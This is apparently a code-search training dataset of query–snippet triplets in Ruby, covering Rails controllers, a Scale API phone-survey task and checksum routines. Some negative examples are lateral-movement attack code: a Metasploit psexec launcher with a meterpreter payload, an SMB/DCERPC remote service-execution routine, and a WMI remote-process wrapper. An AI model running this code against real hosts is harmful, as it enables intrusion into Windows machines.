"def update\n @orf_model = OrfModel.find(params[:id])\n\n respond_to do |format|\n if @orf_model.update_attributes(params[:orf_model])\n format.html { redirect_to @orf_model, notice: 'Orf model was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orf_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n\n @model = Model.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @model }\n end\n end",
"def get_model name\n\t\tRjb::import(\"weka.core.SerializationHelper\").read(name + \".model\")\n\tend",
"def index\n @models = self.class.model_class.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @models }\n end\n end",
"def index\n @phonemodels = Phonemodel.all\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Called before a task is created, sends a request to the Scale API
|
def create_task
#Assign url
url="https://api.scaleapi.com/v1/task/phonecall"
#Auth credentials setup
auth = {:username=>ENV["SCALE_API_KEY"], :password=>""}
#Assign headers
headers = {"Content-Type"=>"application/json"}
#Create payload
params = {callback_url: 'https://mysterious-ridge-35983.herokuapp.com/survey_callback',
instruction: "Call this person and ask him his calorie counts for yesterday and the number of coffees he drank. Then, ask him if he took his morning and evening medications.",
script: "Hey! (pause) How many calories did you eat yesterday? (pause) What about protein grams (pause)?"\
" What about carbohydrate grams (pause)? What about fat grams (pause)? What about fiber grams (pause)?"\
" How many coffees did you drink (pause)? Did your take your morning and evening meds (pause)?",
phone_number: ENV["PHONE_NUMBER"],
entity_name: ENV["OWNER_NAME"],
fields: { total_calories: 'Total Calories',
protein_grams: 'Protein Grams',
carbohydrate_grams: 'Carbohydrate Grams',
fiber_grams: 'Fiber Grams',
fat_grams: 'Fat Grams',
number_of_coffees: 'Coffees per Day'},
urgency: "immediate",
choices: ['only_took_morning_meds', 'only_took_evening_meds', 'took_both_morning_and_evening','no_meds_taken']}
#Send request
begin
request=HTTParty.post(url,:basic_auth=>auth, :headers=> headers, :body=>params.to_json)
#Receive request and store response
self.scale_api_id=request["task_id"]
self.json_data=JSON.dump(request)
rescue
#If there's an error, raise an exception to prevent DailySurvey object being created
raise "Bad Scale API request"
end
end
|
[
"def start\n descriptor['starts'].each do |task_name|\n create_task(nil, task_name, payload)\n end\n end",
"def task_start\n dataset = @user.datasets.find(params[:id])\n raise ActiveRecord::RecordNotFound unless dataset\n klass = AnalysisTask.job_class(params[:class])\n \n # Put the job parameters together out of the job hash\n job_params = {}\n if params[:job_params]\n job_params = params[:job_params].to_hash\n job_params.symbolize_keys!\n end\n job_params[:user_id] = @user.to_param\n job_params[:dataset_id] = dataset.to_param\n \n # Enqueue the job\n Delayed::Job.enqueue klass.new(job_params)\n redirect_to dataset_path(dataset)\n end",
"def pre_task\n end",
"def create\n @api_task = Task.new(api_task_params)\n\n if @api_task.save\n render :show, status: :created\n else\n render json: @api_task.errors, status: :unprocessable_entity\n end\n end",
"def start\n service.pool_action uuid, :create\n end",
"def initialize(task)\n super()\n @task= task \n end",
"def create_tasks_api\n InfluxDB2::API::TasksApi.new(@api_client)\n end",
"def run_task(_task, _args)\n invoke(\"#{name}:upload\")\n end",
"def do_task_work\n @web.add_thing( @thing )\n end",
"def start\n TaskScheduler.add_task(self)\n end",
"def perform_task\n # actually do the work\n end",
"def before_task(task)\n end",
"def start\n start_evss_submission_job\n end",
"def run_task\n log_info(\"Starting Reaper Resurrector\")\n task.execute\n task\n end",
"def post_task\n end",
"def create_task\n return nil unless @service\n @task_definition = @service.NewTask(0)\n task_registration\n task_prinicipals\n task_settings\n task_triggers\n task_action\n register_task\nend",
"def perform\n # used to make request to get data from AWS API\n response = CurlRequest.new(URL).post\n Rails.logger.info \"==============#{response}============\"\n body = JSON.parse(response.body)\n\n # Calling Service to create data in the database from AWS response\n data = CreateData.new(body)\n data.execute\n end",
"def create\n @tick = current_user.ticks.build(tick_params)\n @tick.task_id = params[:task_id]\n\n respond_to do |format|\n if @tick.save\n format.html { redirect_to @tick, notice: 'Tick was successfully created.' }\n format.json { render :show, status: :created, location: @tick }\n else\n format.html { render :new }\n format.json { render json: @tick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize_task\n @task = Task.new\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Parse callback from Scale on the survey and assign response to a model
|
def parse_response(response)
if response["outcome"]=="success"
#Assign calorie counts and grams breakdown
self.total_calories=response["fields"]["total_calories"].to_i
self.protein_grams=response["fields"]["total_calories"].to_i
self.fat_grams=response["fields"]["fat_grams"].to_i
self.carbohydrate_grams=response["fields"]["carbohydrate_grams"].to_i
self.fiber_grams=response["fields"]["fiber_grams"].to_i
#Number of coffees
self.number_of_coffees=response["fields"]["number_of_coffees"].to_i
#Assign medications based on response
if response["choice"]=='only_took_morning_meds'
self.morning_medications=true
self.evening_medications=false
elsif response["choice"]=='only_took_evening_meds'
self.morning_medications=false
self.evening_medications=true
elsif response["choice"]=='took_both_morning_and_evening'
self.morning_medications=true
self.evening_medications=true
else
self.morning_medications=false
self.evening_medications=false
end
self.save
else
raise "Bad Scale API callback data"
end
end
|
[
"def parse(savon_response)\n response = new(savon_response)\n response.raw[\"#{key}_response\".to_sym][\"#{key}_result\".to_sym][:response_type]\n end",
"def create_task\n\n #Assign url\n url=\"https://api.scaleapi.com/v1/task/phonecall\"\n\n #Auth credentials setup\n auth = {:username=>ENV[\"SCALE_API_KEY\"], :password=>\"\"}\n \n #Assign headers\n headers = {\"Content-Type\"=>\"application/json\"}\n\n #Create payload\n params = {callback_url: 'https://mysterious-ridge-35983.herokuapp.com/survey_callback',\n instruction: \"Call this person and ask him his calorie counts for yesterday and the number of coffees he drank. Then, ask him if he took his morning and evening medications.\",\n script: \"Hey! (pause) How many calories did you eat yesterday? (pause) What about protein grams (pause)?\"\\\n \" What about carbohydrate grams (pause)? What about fat grams (pause)? What about fiber grams (pause)?\"\\\n \" How many coffees did you drink (pause)? Did your take your morning and evening meds (pause)?\",\n phone_number: ENV[\"PHONE_NUMBER\"],\n entity_name: ENV[\"OWNER_NAME\"],\n fields: { total_calories: 'Total Calories',\n protein_grams: 'Protein Grams',\n carbohydrate_grams: 'Carbohydrate Grams',\n fiber_grams: 'Fiber Grams',\n fat_grams: 'Fat Grams',\n number_of_coffees: 'Coffees per Day'},\n urgency: \"immediate\",\n choices: ['only_took_morning_meds', 'only_took_evening_meds', 'took_both_morning_and_evening','no_meds_taken']}\n\n #Send request\n begin\n\n request=HTTParty.post(url,:basic_auth=>auth, :headers=> headers, :body=>params.to_json)\n\n #Receive request and store response\n self.scale_api_id=request[\"task_id\"]\n self.json_data=JSON.dump(request)\n\n rescue\n\n #If there's an error, raise an exception to prevent DailySurvey object being created\n raise \"Bad Scale API request\"\n \n end\n \n end",
"def create_dynamic_model_for_sample_response(survey_fields: nil)\n j = {\n default: {\n db_configs: {\n record_id: { type: 'string' },\n dob: { type: 'date' },\n current_weight: { type: 'decimal' },\n smoketime___pnfl: { type: 'boolean' },\n smoketime___dnfl: { type: 'boolean' },\n smoketime___anfl: { type: 'boolean' },\n smoke_start: { type: 'decimal' },\n smoke_stop: { type: 'decimal' },\n smoke_curr: { type: 'string' },\n demog_date: { type: 'timestamp' },\n ncmedrec_add: { type: 'string' },\n ladder_wealth: { type: 'string' },\n ladder_comm: { type: 'string' },\n born_address: { type: 'string' },\n twelveyrs_address: { type: 'string' },\n othealth___complete: { type: 'boolean' },\n othealth_date: { type: 'timestamp' },\n q2_survey_complete: { type: 'integer' },\n sdfsdaf___0: { type: 'boolean' },\n sdfsdaf___1: { type: 'boolean' },\n sdfsdaf___2: { type: 'boolean' },\n rtyrtyrt___0: { type: 'boolean' },\n rtyrtyrt___1: { type: 'boolean' },\n rtyrtyrt___2: { type: 'boolean' },\n test_field: { type: 'string' },\n test_phone: { type: 'string' },\n i57: { type: 'integer' },\n f57: { type: 'decimal' },\n dd: { type: 'timestamp' },\n yes_or_no: { type: 'boolean' },\n test_complete: { type: 'integer' }\n }\n }\n }\n\n type = 'narrow'\n tn = 'rc_sample_responses'\n if survey_fields\n j[:default][:db_configs].merge! test_timestamp: { type: 'timestamp' },\n q2_survey_timestamp: { type: 'timestamp' },\n redcap_survey_identifier: { type: 'string' }\n\n type = 'narrow-survey-fields'\n tn = 'rc_sample_sf_responses'\n end\n\n options = YAML.dump j.deep_stringify_keys\n\n @dynamic_model = DynamicModel.create! current_admin: @admin,\n name: tn.singularize,\n table_name: tn,\n primary_key_name: :id,\n foreign_key_name: nil,\n category: :test,\n field_list: data_sample_response_fields(type).join(' '),\n options: options\n end",
"def perform(survey_response)\n #get target DFV\n display_field_value = DisplayFieldValue.find_or_create_by(\n survey_response_id: survey_response.id,\n display_field_id: self.display_field_id\n )\n if value_type == RESPONSE\n raw_response = RawResponse.find_by_survey_response_id_and_question_content_id(\n display_field_value.survey_response_id, self.value.to_i\n )\n display_field_value.update_attributes(\n :value=> (raw_response.nil? ? '' : raw_response.get_true_value)\n )\n else\n display_field_value.update_attributes(:value =>self.value )\n end\n end",
"def show\n @survey_response = SurveyResponse.find(params[:id])\n \n convert_responses([@survey_response])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_response }\n end\n end",
"def method_missing(method_name, *args, &blk)\n match = method_name.to_s.match(/^(.+)_determined_from_responses$/)\n identifier = match && match[1].to_sym\n\n # Checks to see if the response identifier is valid\n if Survey::RESPONSE_MAP[identifier]\n # Tries to get an existing instance variable before loading the value from the database\n var = instance_variable_get(\"@#{method_name}\") || value_for(identifier)\n else\n # Otherwise defaults to Surveyor's method_missing\n super\n end\n end",
"def execute\n @file_inputs = SurveyTool::Cli::InputParser.new({\n survey_file: options[:survey], \n survey_responses_file: options[:survey_response]\n })\n \n @survey_data = @file_inputs.generate_survey_data\n @survey_responses_data = @file_inputs.generate_survey_responses_data\n\n @survey = Survey.new({\n survey_data: @survey_data,\n survey_responses_data: @survey_responses_data })\n\n @data_analyzer = DataAnalyzer.new({survey: @survey})\n @data_analyzer.analize!\n end",
"def survey\n expose Survey.create(@oauth_token, params[:challenge_id].strip, \n params[:data])\n end",
"def parse\n @parser.parse\n @callbacks.result\n end",
"def parse\n @parser.parse\n @callbacks.result\n end",
"def initialize(survey)\n @survey = survey\n end",
"def submitSurvey\n email = decrypt(params[:a])\n surveyId = decrypt(params[:b])\n survey = Survey.find(surveyId)\n result = Result.where(:survey_id => survey.id, :email => email).first\n @service = survey.service\n \n if (!result.done?)\n result.done = true\n result.score = params[:score]\n result.comments = params[:comments][:box]\n result.save!\n else\n raise ActiveRecord::RecordNotFound\n end\n respond_to do |format|\n format.html { render :layout=>false }\n format.json { head :no_content }\n end\n end",
"def apply_me_all\n SurveyResponse.where(survey_version_id: self.survey_version_id).each do |sr|\n self.apply_me(sr)\n end\n end",
"def call\n offer.attributes = offer_parser.as_attributes\n offer.kind = offer_parser.kind\n offer.year = Date.today.year\n offer.save!\n end",
"def adapt_response(adapter_response)\n data = adapter_response[:body]\n # if the wt is :ruby, evaluate the ruby string response\n if adapter_response[:params][:wt] == :ruby\n data = Kernel.eval(data)\n # attach a method called #adapter_response that returns the original adapter response value\n def data.adapter_response\n @adapter_response\n end\n data.send(:instance_variable_set, '@adapter_response', adapter_response)\n end\n data\n end",
"def on_response &b\n @response_proc = b\n self\n end",
"def get_survey\n message = ''\n questions = []\n sid = params[:surveyInstanceID]\n begin\n survey_instance = FormInstance.find(sid)\n rescue ActiveRecord::RecordNotFound\n message = 'Invalid survey instance ID'\n rescue Exception\n message = 'Unexpected Error'\n else\n if FormInstanceHelper.valid_survey(survey_instance) == true\n message = 'Success'\n\n # form list of objects that have a survey name and reading\n survey = survey_instance.form_type\n items = survey.item_types.order(question_order: :asc)\n\n # Iterate over the questions for the form type of the given form\n # instance. Put all of them into a list and send the list to the client.\n question_list = []\n items.each do |i|\n q = i.question\n answer_list = []\n q.answers.each do |a|\n opt = {:answerID => a.id, :answerText => a.text}\n answer_list.push(opt)\n end\n question = {\n :quesID => q.id,\n :questionType => q.qtype,\n :questionText => q.text,\n :answerOptions => answer_list\n }\n question_list.push(question)\n end\n else\n message = 'Survey has expired'\n end\n end\n\n # This just gets the interval for the form type.\n interval = survey_instance.patient.patient_forms.where('stage_number = ?', survey_instance.patient.current_stage)\n interval = interval.where('form_type_id= ?', survey_instance.form_type.id).first()\n\n response = {\n :surveyInstanceID => sid,\n :surveyName => survey_instance.form_type.name,\n :surveyFrequency => interval,\n :message => message,\n :questions => question_list\n }\n\n render json: response\n end",
"def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end",
"def save\n @data.each do |data|\n data[:survey_responses].each(&:save)\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
execute a command against a remote windows machine using psexec
|
def psexec(host, command)
exec = "psexec \\\\#{Array(host).join ','}"
if @options[:user]
exec << " -u \"#{@options[:user]}\""
@options[:password] = ask("--> Enter password for #{@options[:user]}@#{host}: ") {|q| q.echo = '*'} unless @options[:password]
exec << " -p \"#{@options[:password]}\""
end
exec << " /accepteula"
exec << " cmd /c \"#{command}\""
exec << ' > NUL 2>&1' unless logger.debug?
logger.debug "--> #{exec}"
system exec
raise "Failed to execute command \"#{command}\" on host: #{host}" if $?.to_i != 0
end
|
[
"def psexec(ip)\n\t\tpayload = 'windows/meterpreter/bind_tcp'\n\t\tpsexec = framework.modules.create(\"exploit/windows/smb/psexec\")\n\t\tpsexec.datastore['PAYLOAD'] = 'windows/meterpreter/bind_tcp'\n\t\tpsexec.datastore['MODULE_OWNER'] = self.owner\n\t\tpsexec.datastore['WORKSPACE'] = datastore[\"WORKSPACE\"] if datastore[\"WORKSPACE\"]\n\t\tpsexec.datastore['RHOST'] = ip\n\t\tpsexec.datastore['SMBUser'] = datastore[\"SMBUser\"]\n\t\tpsexec.datastore['SMBPass'] = datastore[\"SMBPass\"]\n\t\tpsexec.datastore['SMBDomain'] = datastore[\"SMBDomain\"]\n\t\tpsexec.datastore['SHARE'] = 'ADMIN$'\n\t\tpsexec.datastore['RPORT'] = 445\n\t\tpsexec.datastore['ExitOnSession'] = false\n\t\tpsexec.datastore['DisablePayloadHandler'] = false\n\t\tpsexec.datastore['EXITFUNC'] = 'process'\n\t\tpsexec.datastore['VERBOSE'] = true\n\t\tpsexec.datastore['ForceBlocking'] = true\n\t\tpsexec.exploit_simple(\n\t\t\t'LocalInput'\t=> self.user_input,\n\t\t\t'LocalOutput'\t=> self.user_output,\n\t\t\t'Payload'\t=> payload,\n\t\t\t'Target'\t=> 0,\n\t\t\t'ForceBlocking'\t=> true,\n\t\t\t'RunAsJob'\t=> true)\n\t\tRex::ThreadSafe.sleep(4)\n\tend",
"def execute_interactively(host, command)\n user = host.user\n hostname = host.hostname\n port = host.port || 22\n\n # execute in shell\n exec \"ssh -l #{user} #{hostname} -p #{port} -t '#{command}'\"\nend",
"def remote_run cmd\n ssh = ssh_command(cmd)\n _show_cmd ssh\n system(ssh) unless @opts[:norun] || $norun\n end",
"def remote_exec(server, command, why = nil)\n exit_code = 0\n sout = ''\n serr = ''\n Log.logger.debug(\"Executing #{command} on #{server}: #{why}\")\n ssh(server) do |s|\n s.run(\"logger -t ah-system-test -p daemon.notice 'executing #{command}: #{why}'\")\n (exit_code, sout, serr) = s.attempt(command)\n end\n Log.logger.debug(\"exit: #{exit_code}, sout: #{sout}, serr: #{serr}\")\n return exit_code, sout, serr\n end",
"def vm_ssh(env, cmd)\n puts \">>> '#{cmd}'\"\n env.primary_vm.ssh.execute do |ssh|\n ssh.exec!(cmd) do |channel, stream, data|\n print data\n $stdout.flush\n end\n end\nend",
"def execute(instance, cmd)\n puts \"[+] Executing command:\\n#{cmd}\"\n result = instance.ssh(cmd)\n puts \"(cmd stdout):\\n#{result.first.stdout}\"\nend",
"def ssh_exec\n ssh_exec_for @node\n end",
"def ssh_exec(executable, dir = Rails.application.config.vm_benchmark_dir, log = Rails.application.config.vm_error_log_file)\n shell_cmd = ssh_shell_cmd(executable, dir, log)\n shell(shell_cmd, dir: @vagrant_dir)\n end",
"def ssh vm, user, *command\n with_floating_ip vm do |address|\n wait_for_ssh vm, address, quiet: true\n\n system 'ssh', \"#{user}@#{address}\", *command\n end\nend",
"def single_target(user, pass, target, evil)\n\t\tprint_status(\"Running psexec #{user} #{pass} #{target} #{evil}.....\")\n\t\tDir.chdir(\"#{MSFPATH}tools/\") {\n\t\t\tsystem(\"psexec.rb #{user} #{pass} #{target} #{evil}\")\n\t\t}\n\tend",
"def execute_remote\n\t\tcurAp = @apListBox.value;\n\t\tcmd = getVal(\"exec-remote on #{curAp.ip}\");\n\t\treturn if cmd.nil? or cmd == \"\";\n\n\t\ta = curAp.execute_remote(cmd).split( \"\\n\" );\n\t\t@entryListBox.empty\n\t\ta.each { |line|\n\t\t\t@entryListBox.add( \"#{line}\", {});\n\t\t}\n\tend",
"def spawn_ssh(remoteHostName, remotePort, userName, password) \n spawn(SshSpawn.new(remoteHostName, remotePort, userName, password));\n end",
"def ps_wmi_exec(opts = {})\n\n ps_wrapper = <<EOS\nFunction New-RemoteProcess {\n Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)\n $ErrorActionPreference=\"SilentlyContinue\"\n $proc = [WMIClass]\"\\\\\\\\$rhost\\\\root\\\\cimv2:Win32_Process\"\nEOS\n if opts[:username] and opts[:password]\n ps_wrapper += <<EOS\n $proc.psbase.Scope.Options.userName = $login\n $proc.psbase.Scope.Options.Password = $pass\nEOS\n end\n ps_wrapper += <<EOS\n $proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate\n $proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy\n $startup = [wmiclass]\"Win32_ProcessStartup\"\n $startup.Properties['ShowWindow'].value=$False\n $remote = $proc.Create($cmd,'C:\\\\',$startup)\n if ($remote.returnvalue -eq 0) {\n Write-Host \"Successfully launched on $rhost with a process id of\" $remote.processid\n } else {\n Write-Host \"Failed to launch on $rhost. ReturnValue is\" $remote.ReturnValue\n }\n}\n\nEOS\n\n return ps_wrapper\n end",
"def smb_psexec(cmdorfile, verbose=true)\n begin\n @smb.connect(\"\\\\\\\\#{@target}\\\\IPC$\")\n handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', [\"\\\\svcctl\"], @target)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Binding to #{handle} ...\".white if verbose\n dcerpc = dcerpc_bind(handle,@socket, @smb, @user, @pass)\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Bound to #{handle} ...\".white if verbose\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Obtaining a service manager handle...\".white if verbose\n scm_handle = nil\n stubdata = NDR.uwstring(\"\\\\\\\\#{@target}\") + NDR.long(0) + NDR.long(0xF003F)\n begin\n response = dcerpc.call(0x0f, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n scm_handle = dcerpc.last_response.stub_data[0,20]\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error getting scm handle: #{e}\".white\n return false\n end\n servicename = Rex::Text.rand_text_alpha(11)\n displayname = Rex::Text.rand_text_alpha(16)\n holdhandle = scm_handle\n svc_handle = nil\n svc_status = nil\n stubdata =\n scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +\n NDR.long(0x0F01FF) + # Access: MAX\n NDR.long(0x00000110) + # Type: Interactive, Own process\n NDR.long(0x00000003) + # Start: Demand\n NDR.long(0x00000000) + # Errors: Ignore\n NDR.wstring( cmdorfile ) +\n NDR.long(0) + # LoadOrderGroup\n NDR.long(0) + # Dependencies\n NDR.long(0) + # Service Start\n NDR.long(0) + # Password\n NDR.long(0) + # Password\n NDR.long(0) + # Password\n NDR.long(0) # Password\n begin\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Creating the service...\".white if verbose\n response = dcerpc.call(0x0c, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n svc_handle = dcerpc.last_response.stub_data[0,20]\n svc_status = dcerpc.last_response.stub_data[24,4]\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error creating service: #{e}\".white\n return false\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Closing service handle...\".white if verbose\n begin\n response = dcerpc.call(0x0, svc_handle)\n rescue ::Exception\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Opening service...\".white if verbose\n begin\n stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)\n response = dcerpc.call(0x10, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n svc_handle = dcerpc.last_response.stub_data[0,20]\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error opening service: #{e}\".white\n return false\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Starting the service...\".white if verbose\n stubdata = svc_handle + NDR.long(0) + NDR.long(0)\n begin\n response = dcerpc.call(0x13, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error starting service: #{e}\".white\n return false\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Removing the service...\".white if verbose\n stubdata = svc_handle\n begin\n response = dcerpc.call(0x02, stubdata)\n if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil\n end\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error removing service: #{e}\".white\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" #{@target} - Closing service handle...\".white if verbose\n begin\n response = dcerpc.call(0x0, svc_handle)\n rescue ::Exception => e\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Error closing service handle: #{e}\".white\n end\n select(nil, nil, nil, 1.0)\n @smb.disconnect(\"\\\\\\\\#{@target}\\\\IPC$\")\n return true\n rescue Rex::Proto::SMB::Exceptions::InvalidCommand\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" #{@target} - Network static causing issues, going to retry....\".white\n smb_psexec(cmdorfile, verbose)\n end\nend",
"def exec(command, opts = {})\n res = \"\"\n stdout = \"\"\n Net::SSH.start(@ip_address, \n PVMHOST_LOGIN_ACCOUNT , \n :password => PVMHOST_LOGIN_PASSWD) do |ssh|\n if opts[:root]\n ssh.open_channel do |channel|\n channel.exec(\"sudo -S #{command}\") do |ch, success|\n raise \"could not exec command sudo -S ls\" unless success\n channel.on_data do |ch, data|\n res = data\n end\n channel.on_extended_data do |ch, type, data|\n # \"got stderr: #{data}\"\n stdout += data\n opts[:stdout] += data if opts[:stdout]\n end\n channel.on_process do |ch|\n channel.eof! if channel.output.empty?\n end\n end\n channel.send_data(\"#{PVMHOST_ROOT_PASSWD}\\n\")\n end\n ssh.loop\n else\n res = ssh.exec!(command)\n end\n end\n# puts \"#{command} => #{res} #=> #{stdout}\"\n return res\n end",
"def exec(command, options={})\n ssh.exec(command, options)\n end",
"def ssh_exec!(conn,cmd)\n stdout, stderr, status = ssh_exec(conn,cmd)\n\n unless status == 0\n raise stderr\n end\n\n stdout+stderr\n end",
"def run_cmd(cmd)\n cmd = \"ssh #{MODEL_MACHINE} '#{cmd}'\"\n log_text = \"Running command:\\n\\n#{cmd}\\n\\n\"\n stdout, stderr, status = Open3.capture3(cmd)\n stdout.gsub!(/\\r\\n?/, \"\\n\");\n log_text += \"stdout:\\n #{stdout.to_s}\\n\"\n log(log_text)\n return stdout\nend",
"def send_command(command)\n begin\n @ssh_connect.exec!(command)\n rescue Exception => error\n @log.error(\"#{error}\")\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
returns the number of students in this section
|
def count_students
students.size
end
|
[
"def num_grades (student)\n @grades[student].length\n end",
"def num_grades(student)\n @grades[student].length\n end",
"def total_students\n registrations.\n inject(0) {|total, registration| total + registration.number_of_students }\n end",
"def active_student_count\n if self.students.present?\n self.students.select { |s| s.sign_in_count > 0 }.size\n else\n 0\n end\n end",
"def total_students\n students = 0\n self.booked_customers.each do |school|\n students += school.number_students\n end\n return students\n end",
"def counts_students\n x = students.length\n \"There are #{x} students in our class\"\nend",
"def num_questions\n n = 0\n self.sections.each do |s|\n n+= s.questions.size()\n end\n return n\n end",
"def completion_count\n count = 0\n\n students.each do |student|\n if student.complete?(self)\n count += 1\n end\n end\n\n return count\n end",
"def student_membership_number\n accepted_students.size + pending_students.size\n end",
"def Student_Number()\n puts \"#@@no_of_students Students are present in a class and total students in a school #$global_variable\"\n end",
"def count_students\n \"We have #{students.count} in our course\"\nend",
"def student_search_results_count\n results_count student_results_count_element\n end",
"def num_sections\n header.e_shnum\n end",
"def num_questions\n n = 0\n sections.each do |s|\n n += s.questions.size\n end\n n\n end",
"def section_count\n @section_count ||= [position, 0]\n end",
"def student_count\n student_ids = bookings.confirmed.map { |booking| booking.student_id }\n student_ids.uniq.count\n end",
"def print_student_length\n\tputs \"Overall, there are #{@students.length} students\"\nend",
"def expected_grades\n assignment.course.students.count\n end",
"def sections_in(course)\n Section.where('gsi_id = ? AND course_id = ?', id, course.id).count\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Calculate the checksum from the page (or the pre packed data) If data it supplied it will be updated to record the checksum value
|
def compute_checksum(data_)
data = data_.dup
data[22..25] = [0].pack("V")
crc = 0
data.each_byte do |byte|
crc = (crc << 8)^CHECKSUM_TABLE[((crc >> 24)&0xff) ^ byte]
crc = crc & 0xffffffff
end
crc
end
|
[
"def calcChecksum(data)\n \n # calculate checksum\n checksum = 0xFF\n data.each_byte {|x| checksum ^= x }\n \n return checksum\n end",
"def checksum\n @checksum ||= calculate_checksum\n end",
"def checksum!# {{{\n self.csum = compute_checksum\n end",
"def checksum; end",
"def checksum\n if two_digit?\n data.to_i % 4\n elsif five_digit?\n (odd_sum + even_sum) % 10\n end\n end",
"def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end",
"def checksum\n\t\t\t\t\treturn Checksum.compute(self.raw_data)\n\t\t\t\tend",
"def calculate_checksum\n unless size == 16384\n raise \"Checksum calculation is only supported for 16 KiB pages\"\n end\n\n # Calculate the checksum of the FIL header, except for the following:\n # :checksum (offset 4, size 4)\n # :flush_lsn (offset 26, size 8)\n # :space_id (offset 34, size 4)\n c_partial_header =\n Innodb::Checksum.fold_enumerator(\n cursor(pos_fil_header + 4).each_byte_as_uint8(\n size_fil_header - 4 - 8 - 4\n )\n )\n\n # Calculate the checksum of the page body, except for the FIL header and\n # the FIL trailer.\n c_page_body =\n Innodb::Checksum.fold_enumerator(\n cursor(pos_page_body).each_byte_as_uint8(\n size - size_fil_trailer - size_fil_header\n )\n )\n\n # Add the two checksums together, and mask the result back to 32 bits.\n (c_partial_header + c_page_body) & Innodb::Checksum::MAX\n end",
"def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end",
"def checksum\n end",
"def checksum\n calc_checksum = 0\n byte_bit_nbr = 0\n @fuse_data.each { |bit|\n calc_checksum += 2**byte_bit_nbr if bit == 1\n byte_bit_nbr += 1\n byte_bit_nbr = 0 if byte_bit_nbr == 8\n }\n calc_checksum = calc_checksum % 2**16\n calc_checksum\n end",
"def checksum\n @checksum ||= luhn_doubled.inject(0) { |a, e| a + sum_of(e) }\n end",
"def calculate_checksum\n csum = 1\n shift = (0..24).cycle\n cursor(0).each_byte_as_uint8(TRAILER_OFFSET) do |b|\n csum &= 0x7fffffff\n csum += b + (b << shift.next)\n end\n csum\n end",
"def calculate_checksum\n cksum = 1\n shift = (0..24).cycle\n cursor(0).each_byte_as_uint8(TRAILER_OFFSET) do |b|\n cksum &= 0x7fffffff\n cksum += b + (b << shift.next)\n end\n cksum\n end",
"def checksum_crc32\n raise \"Checksum calculation is only supported for 16 KiB pages\" unless default_page_size?\n\n @checksum_crc32 ||= begin\n # Calculate the CRC32c of the page header.\n crc_partial_header = Digest::CRC32c.new\n each_page_header_byte_as_uint8 do |byte|\n crc_partial_header << byte.chr\n end\n\n # Calculate the CRC32c of the page body.\n crc_page_body = Digest::CRC32c.new\n each_page_body_byte_as_uint8 do |byte|\n crc_page_body << byte.chr\n end\n\n # Bitwise XOR the two checksums together.\n crc_partial_header.checksum ^ crc_page_body.checksum\n end\n end",
"def checksum\n\t\t@checksum ||= FileManager.checksum(@path)\n #\t\tif file?\n #\t\t\treturn FileManager.checksum(@path)\n #\t\tend\n end",
"def checksum\n trailer[:checksum]\n end",
"def image_checksum(data, index1 = 0, index2 = 0) #:nodoc:\n case @checksum_method\n when 3\n Digest::MD5.hexdigest(data)\n when 1\n # Digest::MD4\n # return Digest::MD4::md4_hex($data);\n when 2\n # Digest::Perl::MD4\n # return Digest::Perl::MD4::md4_hex($data);\n else\n # Default\n # return sprintf('%016X%016X', index2, index1)\n end\n end",
"def checksum?# {{{\n self.csum == compute_checksum\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
